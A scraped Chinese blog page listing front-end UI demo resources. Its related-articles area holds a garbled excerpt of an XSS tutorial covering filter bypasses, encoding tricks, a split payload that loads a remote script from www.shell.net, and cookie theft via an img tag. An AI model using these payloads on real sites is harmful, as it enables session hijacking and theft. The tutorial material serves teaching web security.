极客Web前端开发资源大荟萃#019(极客代码)

boyanx1周前技术教程4

以下为本周的推荐的优质代码,非常漂亮实用。快来学习一下吧,以后工作遇到这样的需求 再也不用担心不会啦~

酷炫的拖拽关闭弹出框的效果

通过dynamics模拟物理动画库和draggabilly拖拽库实现的超酷拖拽关闭弹出框效果,在移动端可以感受炫酷的动态效果哦~带有物理效果的弹出层,拖拽即可关闭~

具体代码参考:

http://www.gbtags.com/gb/rtreplayerpreview/1515.htm


扫描下图二维码,即可在移动端查看炫酷的弹出框显示效果,用手指拖动出屏幕范围,即可关闭,快来体验一下吧:

缩放挤压式作品集模板效果

使用jQuery和CSS3动画生成的超棒挤压缩放式的菜单模板效果,移动端上的效果体验很流畅~

具体代码参考:

http://www.gbtags.com/gb/rtreplayerpreview/1513.htm

扫描下图二维码,即可在移动端查看炫酷的挤压缩放式的菜单模版效果,显示效果可以用高大上来形容:

扁平化的按钮和标签切换效果

使用jQuery, fontawesome生成的扁平化UI界面设计效果,配色显示非常清新哦~

具体代码参考:

http://www.gbtags.com/gb/rtreplayerpreview/1512.htm

扫描下图二维码,即可在移动端查看实用的挤压缩放式的菜单模版效果:

Bootstrap实现的简单响应式博客页面

Bootstrap实现的简单响应式博客页面,非常清爽的页面显示效果,简单修改就可以应用到自己的博客上面去了。

具体代码参考:

http://www.gbtags.com/gb/rtreplayerpreview/1500.htm

扫描下图二维码,即可在移动端查看相应的页面显示效果:

个人中心首页UI界面设计效果欣赏

使用图标字体和相关HTML/CSS生成的个人中心效果,整体效果协调而漂亮 且功能显示划分明确:

具体代码参考:

http://www.gbtags.com/gb/rtreplayerpreview/1499.htm


相关文章

JavaScript 事件冒泡--如何阻止点击事件

<div class="subcategories">这里有点击事件</div> <div class="subcategories"&g...

计算追随者们对所有任务完成程度的计算器

[followerBest]以不变应万变,计算追随者们对所有任务的完成程度的计算器,很久很久以前...说远了随着要塞的不断推进,当我手中的追随者超过25个时,遇到了人生的一次抉择,嗯,把谁遣散掉。在那...

一些JavaScript的入门知识(javascript入门基础)

前端开发的核心技术有三项:HTML、CSS和JavaScript。这三项技术中,HTML和CSS比较简单,JavaScript则相对来说复杂得多。所以,前端工程师的学习时间,大部分都花在JavaScr...

简析js中的this的指向(js中this.)

回想当初在切图网做前端项目,用到js,经常用到this;那我们就谈谈js中this,如果说你没弄清this指向的问题,那基本可以说js没入门。this指向的问题的文章,上网搜资料能搜一大把,基本上都是...

4.1.4 不闭合标签

4.1.5 使用回车、Tab等符号截断javascript

而浏览器中解析器中词法分析器会跳过空白跟换行之类的无效字符

使用回车截断javascript

使用tab截断javascript

4.1.6 利用过滤器规则

Ript>alert(1)t>

4.2

HTML编码

HTML标签中的某些属性值可以使用&#ASCII方式进行编码:

如把尖括号编码[ < ] -----> html十进制: < html十六进制:<

aaaa

4.3

Javascript编码

js提供了 3 种字符编码的策略:

· jsunicode编码,例如“e”编码为“\u0065”

· js十六进制,例如“e”编码为“\x65”

· js八进制,例如“e”编码为“\145”

4.4

跨站拆分法

安全研究员“剑心”发现某个网站存在XSS漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个XSS只能用来弹出一个警告框。

幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,于是‘剑心’就巧妙的构造出以下XSS利用代码。

上述代码的作用是引入一个字符串变量Z,并且将下面的代码拆分开来。

document.write(' src=//www.shell.net/1.js>')

然后分几次将其嵌入到变量Z中,最后通过 eval(z) 巧妙地执行代码。

05

XSS漏洞利用

点击添加图片描述(最多60个字)

5.1

窃取Cookie

点击添加图片描述(最多60个字)

5.1.1 读取Cookie

直接在浏览器地址栏执行javascript:alert(document.cookie),就可以看到当前的cookie。

点击添加图片描述(最多60个字)

5.1.2 发送Cookie

5.1.2.1 利用img标签(最常用)

只需将alert(1)替换为以下Payload:

var img=document.createElement("img" alt="跨站脚本攻击(四)(跨站脚本攻击有哪些)">

跨站脚本攻击(四)(跨站脚本攻击有哪些)

04XSS漏洞挖掘技巧4.1常见的绕过姿势实际应用中web程序往往会通过一些过滤规则来阻止带有恶意代码的用户输入被显示,但由于HTML语言的松散性和各种标签的不同优先级,使得我们绕过过滤规则成为了可能...

网站建设:从新手到高手(网站建设技巧)

现代化网站应用领域非常广泛,从个人形象网站展示、企业商业网站运作、到政府公益等服务网站,各行各业都需要网站建设。大体上可以归结四类:宣传型网站设计、产品型网站制作、电子商务型网站建设、定制型功能网站开...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。